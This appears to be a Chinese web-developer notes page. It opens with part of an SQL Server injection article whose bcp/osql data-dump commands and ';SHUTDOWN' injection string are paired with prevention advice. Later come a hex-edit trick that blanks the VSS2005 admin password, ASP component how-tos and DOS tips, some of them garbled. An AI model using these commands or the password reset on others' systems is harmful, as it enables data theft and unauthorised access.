dbo.xp_subdirs 只列某個目錄下的子目錄。 dbo.xp_subdirs 'c:\'
xp_terminate_process 停掉某個執行中的程序,但賦予的參數是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇欄位」勾選 pid,就可以看到每個執行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab 解開壓縮檔。 xp_unpackcab 'c:\test.cab','c:\temp',1
以上表列的延伸預存程序是筆者在 master 系統資料庫中,尋找名稱比較有趣的;經過一一測試的結果。但不代表可以用來侵入系統的延伸預存程序都已經完全列出,畢竟駭客的創意屢屢翻新,你必須要時時謹慎小心。
SQL Server 的工具程式
透過 SQL Server 所提供的一些工具程式可以直接將資料表的內容輸出成檔案,例如透過 bcp 的 out 參數,將儲存會員資料的資料表整個輸出成檔案,範例如下:
bcp northwind.dbo.tblUser out C:\inetput\wwwroot\sqlinject\user.txt -c -Usa -P -SByron-XP
當然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:
osql -Usa -P -SByron-XP -dNorthwind -oc:\inetpub\wwwroot\sqlinject\users.txt -Q"select * from tblUser"
這一類的工具程式可以搭配前文的 xp_cmdshell 延伸預存程序,或是交由利用 sp_OA 系列預存程序建立的木馬 ASP 來執行,都可以達到竊取資料的目的。
對於預防 SQL Injection 的建議
綜合以上各種的侵入技巧,筆者在此歸納一些維護系統安全的建議。
  • 儘量地利用 ASP 或 ASP.NET 在伺服器端檢查與限制輸入變數的型別與長度,過濾掉不需要的內容。要注意的是這些檢查不要放在前端。
    就 算在前端利用 HTML Input 標籤的 MaxLength 屬性,或是以 JScript 撰寫程式來設定欄位長度的限制,只要將該網頁另存新檔,修改內容後(一般只要改寫 Form 的 Action 屬性以及 Input 的 MaxLength 屬性),重新以瀏覽器開啟再執行便可避過這些瀏覽器端的檢查。
  •  ASP 程式登入 SQL Server 的帳號不要使用 sa,或任何屬於 Sysadmin 群組的帳號,避免有過大的權限。
  • sa 一定要有強固的密碼,尤其是 SQL Server 7.0 以前的版本,在裝機時預設 sa 沒有密碼,而一般管理者裝完後也忘了或怕麻煩而不更改密碼。
  • 利用 ADO 的 Command 物件或 ADO.NET 的 SqlCommand class 來透過參數執行 SQL 語法,直接以 ADODB 的 Connection 物件執行預存程序的寫法一樣糟糕。範例如下:
Exec spXXX 參數,…
因為駭客所加入的 SQL 語法一樣可以執行:
Exec spXXX 參數,…;SHUTDOWN
我們可以建立一個預存程序程式碼列表 5
ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password NVarchar(50)
AS
SELECT UserName,Password FROM tblUser
WHERE UserName=@UserName AND Password=@Password
程式碼列表 5:用來找尋符合的使用者帳號密碼的預存程序。
同時將整個 ASP 的查詢換成如程式碼列表 6 的寫法:
<%
If Request("UserName")<>"" And Request("Pass")<>"" Then
Dim cnn,rec,strSQL,cmd
Set cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序,駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append .CreateParameter("UserName", 202, 1, 50, Request("UserName"))
'202 代表 adVarWChar,1 代表 adParamInput
.Parameters.Append .CreateParameter("Password", 202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " & Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>
程式碼列表 6:利用 ADODB 的 Command 物件來存取預存程序。
如程式碼列表 6 中灰色的程式碼區塊,將存取 SQL Server 預存程序的方式改以透過 ADODB 的 Command 物件,如此駭客就不能用加入自訂 SQL 的語法來要求 SQL Server 執行額外的動作。
  • 改掉預設的 Web 虛擬路徑,不要使用 IIS 裝好後預設的 <系統所在磁碟>\Inetpub\WWWRoot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動手腳。
  • 不要顯示錯誤訊息到前端。
    利用 VBScript 語法的 On Error Resume Next,並搭配 If Err.Number<>0 Then 的錯誤處理方式,自行將錯誤重導到適當的錯誤處理網頁,如此系統將更穩固,且駭客也不易透過錯誤訊息來探知系統的內部運作方式。
    或著,也可以修改<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp 預設網頁,最簡單的方式就是將它更改名字3
  •  將用不到但功能強大的延伸預存程序刪除。
  •  監控系統的執行。
  •  防火牆關閉 TCP 1433/UDP 1434 埠(port)對外的連線4
  •  隨時注意是否有新的修補程式要上。
以上是針對 SQL Injection 防護方式的建議,但我們應該謹記於心的是世界上沒有絕對安全的系統,只有自己時時小心,多看多聽駭客們是否有翻新的手法,系統是否有異常的狀況,唯有不斷加強系統的安全措施,才能將危害降至最低。
相關網址
以下是一些關於 SQL 以及系統安全的網址,提供給大家參考。
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/
註釋:
1 就筆者的觀察,一般的程式設計師多喜歡用 SQL Server 最大的預設帳號 sa 來存取資料。因此給予駭客予取予求的權力。
2 這裡表列的延伸預存程序可以透過 Enterprise Manager 或 Query Analyzer 看到,但是在 SQL Server 線上叢書找不到相關資料。
3 筆者不建議一開始就刪除500-100.asp,因為這會導致很難替程式除錯。建議在程式開發完成上線後,將 500-100.asp 更改名稱。在自行撰寫的 asp 檔首加入 On Error Resume Next/If Err.Number <> 0 Then 等,錯誤處理應該是在程式撰寫時就要注意的程式架構,若為了除錯方便,可以先以單引號讓 On Error Resume Next 語法成為說明。
4 有報告顯示現今有網路蜘蛛專門尋找在網際網路上,可以直接透過 TCP 1433/UDP 1434 埠(port)存取,但 sa 帳號沒有設定密碼的 SQL Server,在找到該伺服器後便利用前述的技巧取得對系統的控制權。

解決 IE8 無法上傳圖片檔案

由於 IE8 的安全設定問題,用戶無法正常上傳任何圖片檔案,目前您可以透過以下的方法解決。
解決方法:
IE 設置 > 安全 > 自定義級別

將檔案上傳到伺服器時包含本機目錄路徑,默認是禁用,改成「啟用」就可以。

VSS2005 Admin 密碼破解

打開vss資料庫所在的檔夾,打開data目錄,找到um.dat文件,
用十六進位編輯器(UltraEdit)打開編輯它,從offset 80的55 55 開始將值改為如下所述的樣子,
然後保存,這樣um.dat檔就回到了初始狀態,空密碼,
然後打開vss admin,用admin用戶登錄,就OK了,
0:80  55 55 bc 7f 41 64 6d 69 6e 00 00 00 00 00 00 00
0:90  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0:a0  00 00 00 00 90 6e 00 00 a8 01 00 00 00 00 00 00


Dreamweaver緻夢上傳元件--同檔名上傳直接覆蓋

在Dreamweaver中安裝緻夢平台上傳元件後,上傳檔案時如果是黨名相同,他會另命名。
例如上傳個圖檔123.jpg,上傳後該圖覺得不好,修圖後再上傳檔名一樣為123.jpg,因原先在伺服器該檔案已存在,所以該元件預設值會另命名上傳,即上傳的檔名會自動改為12301.jpg,這狀況可能會造成伺服器多出無謂的檔案。
此時就依如下更改:
找到 待檔案
約在128到133行左右
有一行:
uupfilename = SaveFile("upfile",path,0)   '更名上傳
要改為
upfilename = SaveFile("upfile",path,2)   '覆蓋上傳


如此即可。

Jmail 發信元件語法


屬性 說明
Body 郵件的本文
Charset 郵件的字集, 預設為 "US-ASCII"
ContentType 本文的內容類型
From 寄件者電子郵件
FromName 寄件者姓名
ISOEncodeHeaders 標題字串是否根據 ISO-8859-1 字集來編碼
Logging 是否開啟錯誤紀錄功能
Priority 郵件的優先順序
Subject 郵件的主旨
方法 說明
AddRecipient(郵件, 收件人) 新增郵件的收件人
AddRecipientCC(郵件, 收件人) 新增郵件的副本收件人
AddRecipientBCC(郵件, 收件人) 新增郵件的密件收件人
Send(郵件伺服器位址) 送出郵件
 
  [範例程式碼]

'在 4.x 版應使用 Jmail.Message 來創造物件
Set oJmail = Server.CreateObject("Jmail.Message")
'啟動錯誤紀錄
oJmail.Logging = True
oJmail.Silent = True
'如果你使用繁體中文, 應該設定字集為 big5
Jmail.Charset = "big5"
Jmail.ContentType = "text/html"
'如果你的郵件主旨會出現亂碼, 可將 ISOEncodeHeaders 設為 False
Jmail.ISOEncodeHeaders = False
'設定寄件人
oJmail.From = "service@ice.com.tw"
oJmail.FromName = "Ice Asp"
'設定收件人, 收件人姓名參數是可以省略的
oJmail.AddRecipient "recipient1@somedomain.com.tw", "Somebody"
oJmail.Subject = "利用 Jmail 寄 Email"
oJmail.Body = "<p>這是利用 Jmail 寄出的測試信..."
If Not oJmail.Send("mail.yourdomain.com.tw") Then
  Response.Write oJmail.Log
Else
  Response.Write "郵件已經寄出..."
End If

JMailHtml.html ( 寄送 HTML 格式的電子郵件 )
<%@LANGUAGE="VBSCRIPT" %>
<HTML>
<BODY>
<%
Set jmail = Server.CreateObject("JMail.Message")
' 中文編碼設定 *請一定要加入下面四行才能正常顯示中文*
jmail.Charset = "big5"
jmail.ContentTransferEncoding = "base64"
jmail.Encoding = "base64"
jmail.ISOEncodeHeaders = false
jmail.AddRecipient "you@email.com", "yourname"
jmail.From = "me@emai.com"
jmail.Subject = "寄張圖片給你"
jmail.Body = "以 HTML 格式寄圖片給你 : "
' 將圖片檔案夾入信件中
contentId = jmail.AddAttachment("c:\picture.gif")
' 製作信件 HTML 本文
jmail.HTMLBody = "<html><body><font color=""red"">嗨!!這有一張圖片:</font><br>"
jmail.appendHTML "<img src=""cid:" & contentId & """>"
jmail.appendHTML "<br><br>好看嗎 ?</body></html>"
' 假如看不到 HTML 格式的信件的話 ,顯示一般本文
jmail.Body = "很抱歉 ,您看不到 HTML 格式的信件."
jmail.Send( "mail.you.com" ) '指定送信伺服器 SMTP
%>
信件寄出</BODY>
</HTML>
-------------------------------需要密碼------------
jmail.Send("uid:pwd@mailserver")

例如:
JMail.Send("user1:1234@mail.abc.com.tw")
其中, user1 是該 Mail Server 的 User Account; 1234 是該 User Account 的密碼

AspSmartUpload

相關安裝及語法參閱如下:
http://www.pc-net.com.tw/aspro/article/aspupload.asp?articleid=3
aspSmartUpload 的安裝與使用

aspSmartUpload 中文檔名解決方案http://audi.tw/Blog/asp/aspsmartupload_2.asp

htmlarea文字編輯器

Htmlarea文字編輯器屬於陽春型的WEB編輯器
功能健全,也很好套用,只要在文字區塊欄位的前後加上script即可
1.請到我的BLOG下載檔案並解開至根目錄
http://cid-aebd49eb991ddec8.skydrive.live.com/self.aspx/Develop/htmlarea.rar
2.在Form裡面的文字區塊欄位的前後加上以下script
 <SCRIPT language="Javascript1.2">
<!-- // load htmlarea
_editor_url = "htmlarea/";                     // URL to htmlarea files 設定 htmlarea 程式目錄
var win_ie_ver = parseFloat(navigator.appVersion.split("MSIE")[1]);
if (navigator.userAgent.indexOf('Mac')        >= 0) { win_ie_ver = 0; }
if (navigator.userAgent.indexOf('Windows CE') >= 0) { win_ie_ver = 0; }
if (navigator.userAgent.indexOf('Opera')      >= 0) { win_ie_ver = 0; }
if (win_ie_ver >= 5.5) {
  document.write('<scr' + 'ipt src="' +_editor_url+ 'editor.js"');
  document.write(' language="Javascript1.2"></scr' + 'ipt>'); 
} else { document.write('<scr'+'ipt>function editor_generate() { return false; }</scr'+'ipt>'); }
// -->
</SCRIPT>

   <TEXTAREA name="Book_text" cols="70" rows="15" id="Book_text"></TEXTAREA>


<SCRIPT language="javascript1.2">editor_generate('Book_text'); // editor_generate ( ) 函數中的文字請換成文字區域的名稱 </SCRIPT>

FCKeditor_2.6.4文字編輯器

官方網站&API開發文件:http://docs.cksource.com/FCKeditor_2.x/Developers_Guide
FCKeditor是網路上很受廣大開發者引用的文字編輯器,很熱門功能很強
它可以直接在編輯器上上傳檔案,讓USER可以簡單的就編輯一個圖文並茂的內容
套用步驟:
1.請到我BLOG下載檔案並解開至WEB根目錄
http://cid-aebd49eb991ddec8.skydrive.live.com/self.aspx/Develop/FCKeditor%7C_2.6.4%e6%96%87%e5%ad%97%e7%b7%a8%e8%bc%af%e5%99%a8.rar
2.在要編輯的文件最上面貼上下面指令,引用該元件
<!-- #INCLUDE file="fckeditor/fckeditor.asp" -->
3.在要編輯文件中的文字區域欄位改成他專屬的程式碼,如下:
<TEXTAREA name="Book_text"  id="Book_text"></TEXTAREA>
改成
<%
Dim oFCKeditor
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = "/fckeditor/"
'oFCKeditor.ToolbarSet = "Basic"  '註解後預設套用fckconfig.js中FCKConfig.ToolbarSets["Default"]
'oFCKeditor.Height = 200 '註解後預設的高度
'oFCKeditor.Width = 300  '註解後預設寬度為100%
oFCKeditor.Value = rs("KItem_Rule")
oFCKeditor.Create "KItem_Rule"   '區塊欄位名稱
%>

即可
4.結合程式
要如何取得該文字區域的內容呢?很簡單只要在接收的頁面用request.form("News_text")就可以接收到內容了,接收到之後搭配SLQ就可以把值寫到DB囉
5.參數設定,其中必改ConfigIsEnabled = true,其餘參考
A.fckconfig.js 中修改
    FCKConfig.DefaultLanguage   = 'zh-tw' ;    //原來是en
    FCKConfig.TabSpaces   = 1 ; //在編輯器中是否可以是否TAB 0 不可用 1 為可用
    var _FileBrowserLanguage = 'asp' ; // asp | aspx | cfm | lasso | perl | php | py需要什麼改成什麼
    var _QuickUploadLanguage = 'asp' ; // asp | aspx | cfm | lasso | perl | php | py需要什麼改成什麼
  
   FCKConfig.SmileyWindowWidth  = 320 ;       //寬度
   FCKConfig.SmileyWindowHeight = 210 ;       //高度


B. fckeditor.asp 中修改
     sBasePath   = "/fckeditor/"     '表示 當前這個檔 fckeditor.asp相對於站點根目錄的路徑,看看我的目錄排放

C. FCKeditor\editor\filemanager\connectors\asp\config.asp 中修改
     ConfigIsEnabled = true '啟用上傳功能 false 改成 true
     ConfigUserFilesPath = "/userfiles/" '設置你的上傳目錄這裏 "/upFile/" 表示站點根目錄下的 upFile目錄 ,這個目錄是需要自己創建的,大家可以看到上圖目錄結構中我創建了 upFile 目錄,這樣上傳的檔將會存放到這個目錄中。FckEditor會根據您上傳的類別自動在upFIle目錄中創建如 image flash 等目錄。

更多設定資訊可參閱以下網站:
1.http://www.fckeditor.net/demo
2.http://hi.baidu.com/rabeta/blog/item/97cb6089f1cafbb00f2444c1.html/cmtid/5679852f0535bc311f308929.

在安裝好了 FCKeditor 之後,預設的功能列把工具全開,令人感到眼花撩亂,而且會有安全性的問題,所以我們可以照著我們的需求來更改按鈕的設定與配置。


  1. 首先我們必須先開啟 FCKeditor 的配置檔 fckconfig.js,位置在 ./FCKeditor 下面就可以找到。
     
  2. 打開 fckconfig.js 之後,找 FCKConfig.ToolbarSets,底下就會有功能按鍵的設定,依照我們的需求增加或刪除。
     
  3. 各參數的中英對照:
參數 說明 參數 說明
Source 原始碼 DocProps 文件屬性
Save 儲存 NewPage 開新檔案
Preview 預覽 Templates 樣板
Cut 剪下 Copy 拷貝
Paste 貼上 PasteText 貼為純文字
PasteWord 從 Word 貼上 Print 列印
SpellCheck 拼字檢查 Undo 復原
Redo 復原 Find 尋找
Replace 取代 SelectAll 全選
RemoveFormat 清除格式 Form 表單
Checkbox 核取方塊 Radio 選項按鈕
TextField 文字區域 Select 下拉選單
Button 按鈕 ImageButton 影像按鈕
HiddenField 隱藏欄位 Bold 粗體
Italic 斜體 Underline 底線
StrikeThrough 刪除線 Subscript 下標字
Superscript 上標字 OrderedList 數字項目符號
UnorderedList 項目符號 Outdent 減少縮排
Indent 增加縮排 Blockquote 區塊引用
JustifyLeft 靠左 JustifyCenter 置中
JustifyRight 靠右 JustifyFull 左右對齊
Link 建立連結 Unlink 移除連結
Anchor 錨點 Image 插入圖片
Flash 插入Flash Table 插入表格
Rule 插入水平線 Smiley 表情符號
SpecialChar 特殊符號 PageBreak 分頁符號
Style 樣式 FontFormat 字體格式
FontName 字型選擇 FontSize 字型大小
TextColor 文字顏色 BGColor 背景顏色
FitWindow 編輯器最大化 ShowBlocks 顯示HTML標籤區塊
About 關於FCKeditor    
配置選項:

AutoDetectLanguage=true/false 自動檢測語言
BaseHref="" 相對鏈接的基地址
ContentLangDirection="ltr/rtl" 默認文字方向
ContextMenu=字符串數組,右鍵菜單的內容
CustomConfigurationsPath="" 自定義配置文件路徑和名稱
Debug=true/false 是否開啟調試功能,這樣,當調用FCKDebug.Output()時,會在調試窗中輸出內容
DefaultLanguage="" 缺省語言
EditorAreaCss="" 編輯區的樣式表文件
EnableSourceXHTML=true/false 為TRUE時,當由可視化界面切換到代碼頁時,把HTML處理成XHTML
EnableXHTML=true/false 是否允許使用XHTML取代HTML
FillEmptyBlocks=true/false 使用這個功能,可以將空的塊級元素用空格來替代
FontColors="" 設置顯示顏色拾取器時文字顏色列表
FontFormats="" 設置顯示在文字格式列表中的命名
FontNames="" 字體列表中的字體名
FontSizes="" 字體大小中的字號列表
ForcePasteAsPlainText=true/false 強制粘貼為純文本
ForceSimpleAmpersand=true/false 是否不把&符號轉換為XML實體
FormatIndentator="" 當在源碼格式下縮進代碼使用的字符
FormatOutput=true/false 當輸出內容時是否自動格式化代碼
FormatSource=true/false 在切換到代碼視圖時是否自動格式化代碼
FullPage=true/false 是否允許編輯整個HTML文件,還是僅允許編輯BODY間的內容
GeckoUseSPAN=true/false 是否允許SPAN標記代替B,I,U標記
IeSpellDownloadUrl=""下載拼寫檢查器的網址
ImageBrowser=true/false 是否允許瀏覽服務器功能
ImageBrowserURL="" 瀏覽服務器時運行的URL
ImageBrowserWindowHeight="" 圖像瀏覽器窗口高度
ImageBrowserWindowWidth="" 圖像瀏覽器窗口寬度
LinkBrowser=true/false 是否允許在插入鏈接時瀏覽服務器
LinkBrowserURL="" 插入鏈接時瀏覽服務器的URL
LinkBrowserWindowHeight=""鏈接目標瀏覽器窗口高度
LinkBrowserWindowWidth=""鏈接目標瀏覽器窗口寬度
Plugins=object 註冊插件
PluginsPath="" 插件文件夾
ShowBorders=true/false 合併邊框
SkinPath="" 皮膚文件夾位置
SmileyColumns=12 圖符窗列數
SmileyImages=字符數組 圖符窗中圖片文件名數組
SmileyPath="" 圖符文件夾路徑
SmileyWindowHeight 圖符窗口高度
SmileyWindowWidth 圖符窗口寬度
SpellChecker="ieSpell/Spellerpages" 設置拼寫檢查器
StartupFocus=true/false 開啟時FOCUS到編輯器
StylesXmlPath="" 設置定義CSS樣式列表的XML文件的位置
TabSpaces=4 TAB鍵產生的空格字符數
ToolBarCanCollapse=true/false 是否允許展開/折疊工具欄
ToolbarSets=object 允許使用TOOLBAR集合
ToolbarStartExpanded=true/false 開啟是TOOLBAR是否展開
UseBROnCarriageReturn=true/false 當回車時是產生BR標記還是P或者DIV標

My97DatePicker日曆控制元件

My97DatePicker是個功能超強的日曆件
多好用哩,請自行到其官方網站參考DEMO範例,很屌的一個日曆外掛JS
引用方式:
1.請到我MSN分享空間下載,並解開至WEB根目錄
http://cid-aebd49eb991ddec8.skydrive.live.com/self.aspx/Develop/My97DatePicker.rar
2.在<head></head>標籤中加入
<SCRIPT language="JavaScript" type="text/javascript" src="JS/My97DatePicker/WdatePicker.js"></SCRIPT>
3.在想要顯示日曆的欄位加入語法,例如:
<INPUT name="Start_Date" type="text" onClick="WdatePicker()"/>
這樣USER點到該欄位就會顯示日曆囉
更多其他顯示方式請參閱官方網站,皆有範例&參數可參考

My97DatePicker 官方網站,http://www.my97.net/dp/demo/index.htm

BASP21 DLL(有上傳、發MAIL等功能)

原文參閱:http://www.hi-ho.ne.jp/babaq/eng/basp21.html#0025
DLL我BLOG載點:http://cid-aebd49eb991ddec8.skydrive.live.com/self.aspx/Develop/BASP21-20010911.exe

Example:
============== fileup.htm start =====================================
<HTML><BODY>
<FORM ACTION="fileup.asp"  ENCTYPE="multipart/form-data" METHOD=POST>
Name: <INPUT TYPE=TEXT NAME="yourname"><BR>
File1: <INPUT TYPE=file NAME="file1"><BR>
File2: <INPUT TYPE=file NAME="file2"><BR>
<INPUT TYPE=SUBMIT NAME=UPLOAD>
</FORM></BODY></HTML>
============== fileup.htm end ========================================
============== fileup.asp start =====================================
<%
a=Request.TotalBytes
b=Request.BinaryRead(a)
set obj=server.createobject("basp21")
name=obj.Form(b,"yourname")
f1=obj.FormFileName(b,"file1")
f2=obj.FormFileName(b,"file2")
fsize1=obj.FormFileSize(b,"file1")
fsize2=obj.FormFileSize(b,"file2")
newf1=Mid(f1,InstrRev(f1,"\")+1)
newf2=Mid(f2,InstrRev(f2,"\")+1)
l1=obj.FormSaveAs(b,"file1","e:\temp\log\" & newf1)
l2=obj.FormSaveAs(b,"file2","e:\temp\log\" & newf2)
%>
<HTML><HEAD><TITLE>File Upload Test</TITLE>
<BODY>
<H1>Testing</H1>
<BR>
Dear <%= name %>; Your file has been uploaded<BR>
file1= <%= newf1 %><BR>
file2= <%= newf2 %><BR>
len1= <%= l1 %><BR>
len2= <%= l2 %><BR>
</BODY></HTML>
============== fileup.asp end =====================================

ASP Ping

主頁:http://www.serverobjects.com/

AspPing提供命令行程式ping相同的基本功能,AspPing是免費的,沒有免費的技術支援

安裝:
dll檔,拷貝到一個子目錄,例如NT的目錄\winnt\system32win95/98的目錄\windows\system.
註冊dll檔,命令行將當前目錄換到該目錄,然後鍵入:
regsvr32 aspping.dll

簡單實例:
使用這個元件十分簡單
1.創建對象
2.設定一些屬性
3.調用Ping方法

<%
rem ***********************************************************
rem * 創建對象
rem ***********************************************************
Set Pinger = Server.CreateObject("AspPing.Conn")

rem ***********************************************************
rem * 設定要ping的主機
rem ***********************************************************
Pinger.RemoteHost = "www.microsoft.com"

rem ***********************************************************
rem * ping遠端主機的次數,可選
rem * 缺省值為 1
rem ***********************************************************
Pinger.PingCount = 2


rem ***********************************************************
rem * Ping 然後獲得ping的結果
rem ***********************************************************
Response.Write "<pre>" & Pinger.Ping & "</pre>"

rem ***********************************************************
rem * 釋放對象
rem ***********************************************************
Set Pinger = nothing

%>


AspPing的屬性
RemoteHost - string 字串
Blocksize - byte 位元組
TTL - byte 位元組
AspPing方法
Ping - 返回結果(字串) 來源:收集整理於互聯網

文章出處:飛諾網(www.firnow.com):http://dev.firnow.com/course/4_webprogram/asp/aso_js/20100806/527782.html

ChartDirector圖形元件

不錯的ASP圖形元件,讓你可以匯出各式的圖表
請到官網下載後安裝,安裝後有DEMO檔可看CODE,還不賴~~
http://www.advsofteng.com/download.html
Q1.解決中文顯示問題(使用simhei.ttf自型即可)

Call c.setDefaultFonts("simhei.ttf", "simhei.ttf Bold")
Call c.addTitle("中文", "simhei.ttf")

FCKeditor插入圖片以完整路徑顯示

FCKeditor是很好用的文字編輯器
但插入圖片或檔案時,其預設會使用[相對位置]
導致在開發某些功能,如發MAIL的時候USER收到的信件
因為找不到相對位置則連結就點不開,圖片也會顯示錯誤
這時有個方法就是修改其設定檔,改成讓他以絕對位置計算
把editor\filemanager\browser\default\frmresourceslist.html中
直接找關鍵字function( fileName, fileUrl, fileSize )函式中的第一行
var sLink = '<a href="#" onclick="OpenFile(\'' + ProtectPath( fileUrl ) + '\');return false;">'
改成
var sLink = '<a href="#" onclick="OpenFile(\'' + 'http://網址'+ fileUrl + '\');return false;">'
這樣
就搞定了
如圖

URL變成完整網址


用ThickBox 3.1秀出類似facebook的網頁效果

官方網站
http://jquery.com/demo/thickbox/
中文教學網
http://www.hsiu28.net/html/jss.php?id=19
下載JS、CSS與圖檔等檔案
延伸:
1.該元件在使用時常常都是要給予固定高、寬,但不同USER解析度時可能就會產生顯示問題
<a href="ajax.PHP?keepThis=true&TB_iframe=true&height=250&width=400" title="add a caption to title attribute / or leave blank" class="thickbox">Example 1</a>  
這時打開thickbox.js,大約187行左右有一段
TB_WIDTH = (params['width']*1) + 30 || 630
TB_HEIGHT = (params['height']*1) + 40 || 440
把它改成
TB_WIDTH = (params['width']*1) + 30 || screen.width*0.8
TB_HEIGHT = (params['height']*1) + 40 || screen.height*0.6

這樣傳入的參數如height=80%&width=60%,只要是非數值就會去偵測USER螢幕解析度百分比囉

嵌入FB的like button讓頁面可以[讚]

參閱官網所公佈的SDK
http://developers.facebook.com/docs/plugins/
第一項就是最常用的like button
點選後在Step1的設定表格中把參數設進去在點get code
把得到的code放到網頁中,就可以有[讚]囉



第一段的JS code放到標籤中間

很屌的圖形元件highcharts

http://www.highcharts.com/

google翻譯

1利用連結
http://translate.google.com/translate?client=tmpg&hl=zh-TW&u=http://tw.yahoo.com/
後方http://tw.yahoo.com/為要翻譯的網頁

2.利用google 簽入code
頁首
<meta name="google-translate-customization" content="7a1ffe9273ce1766-841c80abe9826223-geffce814385c4757-1e"></meta>

body
<div id="google_translate_element"></div><script type="text/javascript">
function googleTranslateElementInit() {
  new google.translate.TranslateElement({pageLanguage: 'zh-TW', includedLanguages: 'en,ja,ko,zh-CN,zh-TW'}, 'google_translate_element');
}
</script><script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>

範例:
<meta name="google-translate-customization" content="7a1ffe9273ce1766-841c80abe9826223-geffce814385c4757-1e"></meta>
<html>
  <head>
    <title>Translate API Example</title>
  </head>
  <body>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td>test 測試 hello<br>i love you <br>我愛你&nbsp;</td>
        <td><div id="google_translate_element"></div><script type="text/javascript">
function googleTranslateElementInit() {
  new google.translate.TranslateElement({pageLanguage: 'zh-TW', includedLanguages: 'en,ja,ko,zh-CN,zh-TW'}, 'google_translate_element');
}
</script><script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
        &nbsp;</td>
      </tr>
    </table>
  </body>
</html>

dundas上傳、圖形、MIAL元件

http://aspalliance.com/dundas/default.aspx


Dundas AspUpload
Dundas AspUpload
This flexible and reliable component lets you accept, save, and manipulate files uploaded with a web browser, and is designed to work with Active Server Pages (A

mobiscroll 用於手機的滾輪效果


http://demo.mobiscroll.com/datetime/datetime#theme=android&display=inline&mode=scroller

註冊目錄下所有DLL檔案

regsvr32 (+檔案路徑)--註冊DLL

regsvr32 /u (+檔案路徑)--解除註冊DLL

在命令模式下到該目錄輸入
for %a in (*.dll) do regsvr32 %a /s

regsvr32 /u    <----解除註冊

網路類指令

ipconfig  檢視主機配置資訊(基本)

ipconfig  /all檢視主機配置資訊(所有)

Ping 測試連接(+上想測試的IP或網域)

pathping 測試路由器 (+上想測試的IP或網域)

nslookup 網址IP對照查詢(+上想測試的網域)

ipconfig /renew重新取得IP配置

ipconfig /release釋放IP配置

使用Arp解決硬體位址問題

netstat -a看所有PORT開通狀況

tracert 跟蹤網路連接(+上想測試的IP或網域)

使用pathping測試路由器

regedit編輯登錄檔

regsvr32 (+檔案路徑)--註冊DLL

regsvr32 /u (+檔案路徑)--解除註冊DLL

DOS技巧100例

DOS技巧100例


1、*.*的簡寫
*.*可以用.替代,例如,移除當前目錄中的全部文件︰
DEL.
2、返回父目錄即上級目錄
CD..
3、把目錄文件的列表存入文本文件中
DIR>filename
4、檢視當前目錄下任何內容的文件
方法一︰DIR,
方法二︰DIRA
5、取消當前目錄下所有文件的所有內容
ATTRIB,
若在C碟根目錄下執行此指令,再用DIR來檢視,可以看到IO.SYS、MSDOS.SYS等隱含文件。
6、顯示當前目錄下的所有子目錄名
DIRAD
7、連續顯示多個文件的內容
COPY *.* CON
8、分屏顯示文件內容
方法一︰MORE<filename
方法二︰TYPE filename|more
9、改變磁牒文件的註冊時間
方法一︰COPY filename+NUL
方法二︰COPY filename+,,
10、如何遮閉DOS行的輸出訊息?
方法是將螢幕輸出重轉發IP到DOS空設備NUL,例如︰
COPY MYPROG.EXE A:>NUL
11、在DOS狀態下直接顯示用D方式編輯的WPS文件內容
COPY filename.wps CON/B
12、向文本文件中追加資料
方法一︰COPY filename+CON
方法二︰TYPE CON>>filename
輸入完畢後按F6或Ctrl+Z鍵結束。
13、鍵盤指法練習或漢字輸入練習的簡易螢幕
COPY CON NUL
14、直接列印鍵盤輸入的內容
方法一︰COPY CON PRN
方法二︰MORE>PRN
方法三︰SORT>PRN
輸入完畢後按F6或Ctrl+Z鍵。
15、DOS下直接編輯產生文件
在沒有任何編輯軟體(如EDLIN、EDIT等)的情況下,可臨時用以下六種方法從鍵盤編輯產生文件,當文件內容輸入完畢後,按F6鍵或按Ctrl+Z鍵儲存碟結束︰
方法一︰COPY CON filename
方法二︰TYPE CON>filename
方法三︰MORE>filename
方法四︰SORT>filename
方法五︰FIND"XXX"VN>filename
方法六︰SORT|FIND"XXX"VN>filename
方法四、五、六均有特殊用處,讀者不妨一試。
16、零字元文件的產生
方法︰TYPE NUL>filename
上述方法常用於處理需保密的磁牒文件,起到移除文件內容的作用,內容被移除後一般不可恢復。
17、對零字元文件的拷貝,不能用COPY指令,只能用XCOPY指令。
例如︰XCOPY filename1 filename2
18、目錄中的所有文件和子目錄的複製
XCOPY 目錄名.驅動器號:/S
19、如何正確使用COPY 和XCOPY指令?
  ●將若干個文件聯結成一個文件時,應使用COPY指令。
  ●拷貝小於64KB的單個文件,使用COPY指令。拷貝大於64KB的文件,應使用XCOPY指令。
●拷貝多個文件應使用XCOPY指令。
  ●拷貝子目錄中的內容,應使用XCOPYS指令。拷貝一批文件到軟碟,應使用XCOPY/M指令。
  20、什麼時候用XCOPY指令的/D開關項?
有時候需要從某個目錄中"選出"從某一天開始建立或修改過的文件,並將它們制作備份,此時可使用XCOPY/D指令。例如,下述指令可以把C︰目錄下那些在1996年7月1日以後建立或修改過的檔案拷貝到A盤︰
XCOPY C:*.* A:/D:07-01-96
21、單軟式磁碟機複製軟碟
有的PC機只裝有一個軟式磁碟機,這個驅動器既當A盤又當B盤使用,如果要在這樣的系統上進行軟碟複製,使用下述的XCOPY 指令︰
